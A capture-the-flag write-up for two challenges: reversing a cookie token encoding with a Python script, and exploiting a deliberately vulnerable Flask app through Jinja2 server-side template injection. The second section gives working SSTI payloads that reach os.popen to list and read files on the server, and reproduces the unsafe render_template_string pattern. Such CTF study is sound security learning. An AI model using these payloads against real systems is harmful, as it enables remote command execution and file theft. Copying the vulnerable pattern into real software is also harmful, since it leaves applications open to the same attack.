rooCookie & SSTI golf

rooCookie

According to the description, it seems that the author set the flag as the password. And he said 'I fed my website some cookies so it would remember me' => Maybe flag in cookies

View source code

• We get a function createToken(text) ,it performs the function of encrypting a text and then assign it to document.cookie

function createToken(text) {
	let encrypted = "";
  for (let i = 0; i < text.length; i++) {
		encrypted += ((text[i].charCodeAt(0)-43+1337) >> 0).toString(2)
  }
  document.cookie = encrypted
}

document.cookie = "token=101100000111011000000110101110011101100000001010111110010101101111101011110111010111001110101001011101001100001011000000010101111101101011111011010011000010100101110101001101001010010111010101111110101011011111011000000110110000001101100001011010111110110110000000101011100101010100101110100110000101011101111010111000110110000010101011101001011000100110101110110101001111101010111111010101000001101011011011010100010110101110110101011011111010100010110101101101101100001011010110111110101000011101011111001010100010110101101101101100000101010011111010100111110101011011011010111000010101000010101011100101011000101110100110000"

• Notice there is a predefined document.cookie => This is flag ???
• If so we just reverse the createToken() function to get the flag

Analysis of the coding process

• First each character in text will go through the charCodeAt() function => the function will return the Unicode value of that character
• That unicode value will continue to do the calculation (-43+1337)
• '>>' is right shift operator but '>> 0' so the result does not change
• And finally convert it to binary

Decryption script

token = "101100000111011000000110101110011101100000001010111110010101101111101011110111010111001110101001011101001100001011000000010101111101101011111011010011000010100101110101001101001010010111010101111110101011011111011000000110110000001101100001011010111110110110000000101011100101010100101110100110000101011101111010111000110110000010101011101001011000100110101110110101001111101010111111010101000001101011011011010100010110101110110101011011111010100010110101101101101100001011010110111110101000011101011111001010100010110101101101101100000101010011111010100111110101011011011010111000010101000010101011100101011000101110100110000"
decryp = ''
k=11
for i in range (len(token)//11-1):
	decryp+=chr(int(token[k:k+11],2)-1337+43)
	k=k+11
	
print(decryp)
#sername="roo" & password="ictf{h0p3_7ha7_wa5n7_t00_b4d}"

Flag : ictf{h0p3_7ha7_wa5n7_t00_b4d}

SSTI golf

Check source code

#!/usr/bin/env python3

from flask import Flask, render_template_string, request, Response

app = Flask(__name__)

@app.route('/')
def index():
    return Response(open(__file__).read(), mimetype='text/plain')

@app.route('/ssti')
def ssti():
    query = request.args['query'] if 'query' in request.args else '...'
    if len(query) > 48:
        return "Too long!"
    return render_template_string(query)

app.run('0.0.0.0', 1337)

• The function '/' will show source code
• The function '/ssti' is mapped with the '/ssti' path and takes the query parameter => /ssti?query=
• The input query will be checked for length if it exceeds 48 then return "To long"
• If less than 48 characters will return render_template_string(query)

Note : The page uses render_template_string for rendering the HTML response.The function renders the template directly from a string which can trigger a potential Server-Side Template Injection (SSTI) if the string has been modified to include a valid python code.

Exploit

• Challenge is written in Python and runs the Jinja2 template.I found a basic payload of {{7*7}}. I injected the inputs query with the payload and analyzed the responses. => Successful !!!

• I use this payload to list all file names :

{{lipsum.__globals__['os'].popen('ls').read()}}

• Because the file name is too long I used the command cat * to read all the files in the current folder

{{lipsum.__globals__.os.popen('cat *').read()}}

Flag : ictf{F!1+3r5s!?}

Refer to the connection

https://chowdera.com/2020/12/20201221231521371q.html
https://workshops.devax.academy/security-for-developers/module9/fix_ssti_vulnerability.html
https://hackmd.io/@Chivato/HyWsJ31dI#What-is-a-SSTI